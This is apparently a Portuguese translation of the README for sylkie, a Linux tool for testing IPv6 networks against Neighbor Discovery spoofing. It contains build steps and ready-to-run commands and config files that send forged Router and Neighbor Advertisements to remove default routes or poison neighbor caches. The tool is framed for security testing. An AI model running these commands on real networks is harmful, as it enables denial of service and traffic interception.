
Spoofing de endereço IPv6 com o Protocolo de Descoberta de Vizinhos
sylkieUma ferramenta de linha de comando e biblioteca para testar redes quanto a vulnerabilidades comuns de segurança de falsificação de endereços em redes IPv6 usando o Protocolo de Descoberta de Vizinhos.
Nota: Este projeto ainda está nas fases iniciais de desenvolvimento. Se você encontrar algum problema, considere reportá-lo em uma issue. Atualmente, ele funciona apenas no Linux.
Veja A Wiki para mais detalhes.
Obtenha o código e compile-o!
# Obter o código
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie
# Compilar o código
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install
A seguir, descreve-se o uso básico do sylkie. Execute sylkie -h ou
sylkie <subcomando> -h para mais detalhes ou consulte a seção
Uso Avançado
para mais exemplos.
Nota: O sylkie utiliza raw sockets
para enviar os anúncios forjados. Como resultado, o executável deve
ter o bit setuid ativado ou ser executado como root.
O uso básico do comando router-advert está listado abaixo. Este
comando enviará uma mensagem de Anúncio de Roteador para o IP informado ou
para o endereço multicast de todos os nós, fazendo com que os nós alvo removam
<ip-roteador>/<prefixo> de sua lista de rotas padrão.
sylkie ra -i <interface> \
--target-mac <mac do roteador> \
--router-ip <ip do roteador> \
--prefix <prefixo do roteador> \
--timeout <tempo entre anúncios> \
--repeat <número de vezes que enviará a requisição>
Um exemplo básico.
sylkie ra -i ens3 \
--target-mac 52:54:00:e3:f4:06 \
--router-ip fe80::b95b:ee1:cafe:9720 \
--prefix 64 \
--repeat -1 \
--timeout 10
Isso enviaria um Anúncio de Roteador "forjado" para o endereço link-local
de todos os nós ff02::1, fazendo com que todos os nós removam
fe80::b95b:ee1:cafe:9720/64 (endereço de camada de enlace 52:54:00:e3:f4:06)
de sua lista de rotas padrão.
O uso básico do comando sylkie neighbor advert está listado abaixo. Este comando enviará uma mensagem de Anúncio de Vizinho forjada para o IP informado.
sylkie na -i <interface> \
--dst-mac <hw addr destino> \
--src-ip <ip de origem> \
--dst-ip <ip de destino> \
--target-ip <ip alvo> \
--target-mac <mac alvo> \
--timeout <tempo entre anúncios> \
--repeat <número de vezes que enviará a requisição>
Um exemplo básico
sylkie na -i ens3 \
--dst-mac 52:54:00:e3:f4:06 \
--src-ip fe80::61ad:fda3:3032:f6f4 \
--dst-ip fe80::b95b:ee1:cafe:9720 \
--target-ip fe80::61ad:fda3:3032:f6f4 \
--target-mac 52:54:00:c2:a7:7c \
--repeat -1 \
--timeout 3
Isso enviaria uma mensagem de Anúncio de Vizinho "forjada" para o dst-ip
(fe80::b95b:ee1:cafe:9720), fazendo com que o endereço de hardware no cache
de vizinhos para o target-ip (fe80::61ad:fda3:3032:f6f4) seja atualizado para
o target-mac (52:54:00:c2:a7:7c).
Os comandos acima exigem bastante informação. Para facilitar a vida, o sylkie
também aceita arquivos json e de texto simples contendo as informações necessárias
para começar a enviar os anúncios forjados.
O subcomando (router-advert, neighbor-advert) é uma chave cujo
valor é um array de objetos com as chaves e valores sendo a
opção e valor correspondentes. Para executar o comando, passe o
caminho para o arquivo json como argumento da opção -j.
Para executar o exemplo de router-advert fornecido acima a partir de um json,
primeiro crie um arquivo com o seguinte conteúdo.
{
"router-advert": [
{
"interface": "ens3",
"target-mac": "52:54:00:e3:f4:06",
"router-ip": "fe80::b95b:ee1:cafe:9720",
"prefix": 64,
"repeat": -1,
"timeout": 10
}
]
}
Após criar o arquivo, comece a enviar anúncios com o seguinte comando.
sylkie -j /caminho/para/json
Cada linha do arquivo deve ser exatamente o que você forneceria via
linha de comando, exceto pelo comando sylkie.
Para executar o exemplo de neighbor-advert fornecido acima a partir de um json,
primeiro crie um arquivo com o seguinte conteúdo.
na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3
Após criar o arquivo, comece a enviar os anúncios com
sylkie -x /caminho/para/arquivo